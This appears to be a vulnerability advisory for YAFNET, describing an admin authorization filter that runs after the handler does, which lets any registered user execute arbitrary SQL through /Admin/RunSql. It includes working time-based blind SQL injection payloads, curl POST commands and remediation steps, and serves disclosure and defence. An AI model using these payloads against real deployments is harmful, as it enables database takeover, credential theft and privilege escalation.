YAFNET CVE-2026-43937

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs *after* the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command:

Payload: `IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5'` (77 is the character M) URL Encoded Payload: `%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27`

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

<img width="1619" height="921" alt="image" src="https://github.com/user-attachments/assets/1c5d4d96-a69a-47eb-9558-e5fe1e6cc9e4" />

Payload: `IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5'` (76 is the character L) URL Encoded Payload: `%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27`

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

<img width="1616" height="928" alt="image" src="https://github.com/user-attachments/assets/e499da2e-d4d1-41cd-a5da-e709bf60f817" />

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.